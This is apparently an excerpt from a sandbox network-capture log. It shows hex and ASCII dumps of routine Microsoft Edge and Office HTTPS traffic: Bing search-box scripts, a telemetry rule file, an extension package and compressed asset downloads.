2024-11-23 08:16:53 UTC	15147	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 74 2c 6e 2c 6f 2c 61 2c 69 2c 72 3d 7b 32 33 38 36 35 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 53 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 71 7d 7d 29 3b 76 61 72 20 6f 3d 6e 28 33 33 39 34 30 29 2c 61 3d 6e 28 36 35 31 37 35 29 2c 69 3d 6e 28 36 33 30 37 30 29 2c 72 3d 6e 28 33 39 30 30 31 29 2c 73 3d 6e 28 32 32 33 39 30 29 2c 64 3d 6e 28 34 34 38 38 36 29 2c 63 3d 6e 28 34 30 39 32 34 29 3b 76 61 72 20 6c 3d 6e 28 32 38 39 30 34 29 2c 70 3d 6e 28 39 39 34 35 32 29 2c 6d 3d 6e 28 34 32 35 39 30 29 2c 67 3d 6e 28 39 34 35 33 37 29 2c 75 3d 6e 28 38 35 32 30 35 29 2c 68 3d 6e 28 34 37 34 Data Ascii: 00006000!function(){var e,t,n,o,a,i,r={23865:function(e,t,n){"use strict";n.d(t,{S:function(){return q}});var o=n(33940),a=n(65175),i=n(63070),r=n(39001),s=n(22390),d=n(44886),c=n(40924);var l=n(28904),p=n(99452),m=n(42590),g=n(94537),u=n(85205),h=n(474
2024-11-23 08:16:53 UTC	9441	IN	Data Raw: 6f 77 6e 53 63 72 6f 6c 6c 48 61 70 70 65 6e 65 64 3d 21 31 2c 74 68 69 73 2e 66 69 72 73 74 43 6c 69 63 6b 4c 6f 67 3d 21 31 2c 74 68 69 73 2e 66 69 72 73 74 4b 65 79 50 72 65 73 73 4c 6f 67 3d 21 31 2c 74 68 69 73 2e 62 69 6e 67 55 70 73 65 6c 6c 46 6f 63 75 73 65 64 3d 21 31 2c 74 68 69 73 2e 74 72 65 6e 64 69 6e 67 53 65 61 72 63 68 65 73 52 65 71 75 65 73 74 65 64 3d 21 31 2c 74 68 69 73 2e 6f 6e 41 75 74 6f 73 75 67 67 65 73 74 52 65 6e 64 65 72 65 64 3d 65 3d 3e 7b 63 6f 6e 73 74 20 74 3d 65 2e 74 61 72 67 65 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 53 75 67 67 4d 6f 64 65 22 29 3b 74 68 69 73 2e 69 73 4e 65 78 74 57 6f 72 64 41 53 4d 6f 64 65 3d 22 31 22 3d 3d 3d 74 7d 2c 74 68 69 73 2e 6f 6e 41 75 74 6f 73 75 67 67 65 73 74 53 68 6f 77 6e Data Ascii: ownScrollHappened=!1,this.firstClickLog=!1,this.firstKeyPressLog=!1,this.bingUpsellFocused=!1,this.trendingSearchesRequested=!1,this.onAutosuggestRendered=e=>{const t=e.target.getAttribute("SuggMode");this.isNextWordASMode="1"===t},this.onAutosuggestShown
2024-11-23 08:16:54 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 6f 70 65 26 26 22 6b 69 64 73 22 3d 3d 3d 73 2e 6a 47 2e 43 75 72 72 65 6e 74 52 65 71 75 65 73 74 54 61 72 67 65 74 53 63 6f 70 65 2e 61 75 64 69 65 6e 63 65 4d 6f 64 65 3b 21 30 3d 3d 3d 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 65 6e 61 62 6c 65 57 65 62 41 50 49 53 75 67 67 65 74 69 6f 6e 26 26 21 6e 26 26 21 74 68 69 73 2e 69 73 4d 6f 62 69 6c 65 28 29 26 26 21 74 68 69 73 2e 69 73 54 61 62 6c 65 74 28 29 26 26 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 65 6e 61 62 6c 65 4d 53 4e 53 75 67 67 65 73 74 69 6f 6e 73 26 26 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 65 6e 61 62 6c 65 4d 53 4e 53 75 67 67 65 73 74 69 6f 6e 73 3e 30 3f 31 3d 3d 3d 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 65 6e 61 62 6c 65 4d 53 4e 53 75 67 67 65 73 74 69 6f Data Ascii: 00006000ope&&"kids"===s.jG.CurrentRequestTargetScope.audienceMode;!0===this.options.enableWebAPISuggetion&&!n&&!this.isMobile()&&!this.isTablet()&&this.options.enableMSNSuggestions&&this.options.enableMSNSuggestions>0?1===this.options.enableMSNSuggestio
2024-11-23 08:16:54 UTC	8204	IN	Data Raw: 6c 69 67 68 74 22 2c 76 6f 69 64 20 30 29 2c 28 30 2c 6f 2e 67 6e 29 28 5b 77 2e 6c 6b 5d 2c 50 2e 70 72 6f 74 6f 74 79 70 65 2c 22 67 65 74 50 6c 61 63 65 68 6f 6c 64 65 72 22 2c 6e 75 6c 6c 29 2c 28 30 2c 6f 2e 67 6e 29 28 5b 77 2e 6c 6b 5d 2c 50 2e 70 72 6f 74 6f 74 79 70 65 2c 22 65 6e 61 62 6c 65 53 65 61 72 63 68 53 75 67 67 65 73 74 69 6f 6e 47 68 6f 73 74 54 65 6d 70 6c 61 74 65 22 2c 6e 75 6c 6c 29 2c 50 3d 28 30 2c 6f 2e 67 6e 29 28 5b 79 2e 62 5d 2c 50 29 3b 76 61 72 20 49 3d 6e 28 35 30 36 33 32 29 2c 41 3d 6e 28 34 30 33 37 38 29 2c 52 3d 6e 28 39 35 38 29 2c 4c 3d 6e 28 32 37 34 36 30 29 2c 24 3d 6e 28 37 34 34 34 39 29 2c 4d 3d 6e 28 34 32 36 38 39 29 2c 45 3d 6e 28 32 36 37 33 38 29 2c 42 3d 6e 28 33 38 34 39 32 29 2c 6a 3d 6e 28 35 33 31 Data Ascii: light",void 0),(0,o.gn)([w.lk],P.prototype,"getPlaceholder",null),(0,o.gn)([w.lk],P.prototype,"enableSearchSuggestionGhostTemplate",null),P=(0,o.gn)([y.b],P);var I=n(50632),A=n(40378),R=n(958),L=n(27460),$=n(74449),M=n(42689),E=n(26738),B=n(38492),j=n(531
2024-11-23 08:16:54 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 74 68 3a 32 34 70 78 3b 68 65 69 67 68 74 3a 32 34 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 36 70 78 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 2e 64 65 65 70 2d 73 65 61 72 63 68 2d 62 74 6e 20 23 62 5f 73 68 5f 62 74 6e 5f 74 65 78 74 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 34 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 7d 60 2e 77 69 74 68 42 65 68 61 76 69 6f 72 73 28 28 30 2c 48 2e 55 75 29 28 4f 2e 69 60 20 2e 64 65 65 70 2d 73 65 61 72 63 68 2d 62 74 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 34 61 34 61 34 61 3b 63 6f 6c 6f 72 3a 23 61 32 62 37 66 34 7d 2e 64 65 65 70 2d 73 65 61 72 63 68 2d 62 74 6e 20 23 62 5f 73 68 5f 62 74 6e 5f 69 73 70 72 74 7b 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: 00004000th:24px;height:24px;margin-right:6px;display:inline-block}.deep-search-btn #b_sh_btn_text{line-height:24px;font-size:14px}`.withBehaviors((0,H.Uu)(O.i` .deep-search-btn{background:#4a4a4a;color:#a2b7f4}.deep-search-btn #b_sh_btn_isprt{background
2024-11-23 08:16:54 UTC	12	IN	Data Raw: 65 28 29 29 7d 60 2c 59 65 3d 0d 0a Data Ascii: e())}`,Ye=
2024-11-23 08:16:54 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 76 65 2e 64 79 60 24 7b 65 3d 3e 65 2e 73 65 61 72 63 68 42 75 74 74 6f 6e 4f 6e 4c 65 66 74 26 26 33 3d 3d 3d 65 2e 73 65 61 72 63 68 49 63 6f 6e 54 72 65 61 74 6d 65 6e 74 3f 71 65 3a 21 65 2e 73 65 61 72 63 68 42 75 74 74 6f 6e 4f 6e 4c 65 66 74 7c 7c 31 21 3d 3d 65 2e 73 65 61 72 63 68 49 63 6f 6e 54 72 65 61 74 6d 65 6e 74 26 26 32 21 3d 3d 65 2e 73 65 61 72 63 68 49 63 6f 6e 54 72 65 61 74 6d 65 6e 74 3f 65 2e 73 65 61 72 63 68 49 63 6f 6e 3f 4a 65 3a 51 65 3a 4b 65 7d 60 2c 58 65 3d 76 65 2e 64 79 60 3c 66 6c 75 65 6e 74 2d 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 73 65 61 72 63 68 2d 62 74 6e 22 20 70 61 72 74 3d 22 62 75 74 74 6f 6e 22 20 74 69 74 6c 65 3d 24 7b 65 3d 3e 65 2e 6f 70 74 69 6f 6e 73 26 26 65 2e 6f 70 Data Ascii: 00004000ve.dy`${e=>e.searchButtonOnLeft&&3===e.searchIconTreatment?qe:!e.searchButtonOnLeft\|\|1!==e.searchIconTreatment&&2!==e.searchIconTreatment?e.searchIcon?Je:Qe:Ke}`,Xe=ve.dy`<fluent-button class="search-btn" part="button" title=${e=>e.options&&e.op
2024-11-23 08:16:54 UTC	12	IN	Data Raw: 46 46 46 46 7d 7d 24 7b 75 2e 0d 0a Data Ascii: FFFF}}${u.
2024-11-23 08:16:54 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 66 31 7d 20 40 6d 65 64 69 61 20 28 66 6f 72 63 65 64 2d 63 6f 6c 6f 72 73 3a 61 63 74 69 76 65 29 7b 2e 61 64 2d 73 6c 75 67 20 2e 61 64 2d 6c 61 62 65 6c 2c 2e 24 7b 28 30 2c 67 2e 6c 6a 29 28 22 2e 61 64 2d 73 6c 75 67 22 29 7d 20 2e 24 7b 28 30 2c 67 2e 6c 6a 29 28 22 2e 61 64 2d 6c 61 62 65 6c 22 29 7d 7b 62 6f 72 64 65 72 3a 30 2e 35 70 78 20 73 6f 6c 69 64 20 62 75 74 74 6f 6e 74 65 78 74 3b 6f 70 61 63 69 74 79 3a 31 7d 2e 61 64 2d 73 6c 75 67 20 2e 61 64 2d 6c 61 62 65 6c 2d 74 65 78 74 2c 2e 24 7b 28 30 2c 67 2e 6c 6a 29 28 22 2e 61 64 2d 73 6c 75 67 22 29 7d 20 2e 24 7b 28 30 2c 67 2e 6c 6a 29 28 22 2e 61 64 2d 6c 61 62 65 6c 2d 74 65 78 74 22 29 7d 7b 63 6f 6c 6f 72 3a 62 75 74 74 6f 6e 74 65 78 74 3b 6f 70 61 63 Data Ascii: 00004000f1} @media (forced-colors:active){.ad-slug .ad-label,.${(0,g.lj)(".ad-slug")} .${(0,g.lj)(".ad-label")}{border:0.5px solid buttontext;opacity:1}.ad-slug .ad-label-text,.${(0,g.lj)(".ad-slug")} .${(0,g.lj)(".ad-label-text")}{color:buttontext;opac
2024-11-23 08:16:54 UTC	12	IN	Data Raw: 74 69 6f 6e 26 26 65 2e 62 65 0d 0a Data Ascii: tion&&e.be

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:53 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:53 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:53 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 390d82dd-f01e-0071-4371-3c431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081653Z-174c587ffdfb485jhC1TEBmc1s00000002m00000000014z3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 08:16:53 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	49870	152.195.19.97	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:53 UTC	612	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732954610&P2=404&P3=2&P4=BfN6Trn4YcM2mXjoJeL4KVr8gi6WwD9bgrKX54NOMJHirQY0zE0gC71ZlIeQMeGn3nc2VEmyqdWGYayRAJx2hw%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: IuD1tfxI5MQMtzdzkeckkx Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 08:16:54 UTC	633	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 12276345 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Sat, 23 Nov 2024 08:16:54 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: b4b4aabf-4d02-4629-96b1-a382405b6a31 MS-CV: 642I+iNy0Qp5KFcIV/sUKh.0 MS-RequestId: 5245ac9e-0afd-43ce-8780-5c7d0bedf1d4 Server: ECAcc (nyd/D11E) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-11-23 08:16:54 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	49865	13.107.246.40	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:53 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.55 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 08:16:54 UTC	583	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:54 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Fri, 22 Nov 2024 21:01:12 GMT ETag: 0x8DD0B38CBCCFA90 x-ms-request-id: 24cbd8df-801e-0076-792a-3decbb000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T081654Z-174c587ffdf8fcgwhC1TEBnn7000000002vg000000005ger Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 08:16:54 UTC	15801	IN	Data Raw: 1f 8b 08 08 18 f1 40 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: @gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-23 08:16:54 UTC	16384	IN	Data Raw: 4a b0 09 cb 82 45 ac c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 Data Ascii: JEqb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1
2024-11-23 08:16:54 UTC	16384	IN	Data Raw: 2f 4d 35 19 b9 3f d5 c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 Data Ascii: /M5?Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|c
2024-11-23 08:16:54 UTC	16384	IN	Data Raw: 99 dc 5a 2e 69 cf 52 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 Data Ascii: Z.iRAHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`
2024-11-23 08:16:54 UTC	5254	IN	Data Raw: 29 50 5f 50 34 9a d3 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 Data Ascii: )P_P4*'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	49864	13.107.246.40	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:53 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 08:16:54 UTC	577	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:54 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 671cbce7-301e-0064-5e2a-3dd8a7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T081654Z-178bfbc474bq2pr7hC1NYCkfgg000000049g000000008m0s Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 08:16:54 UTC	15807	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
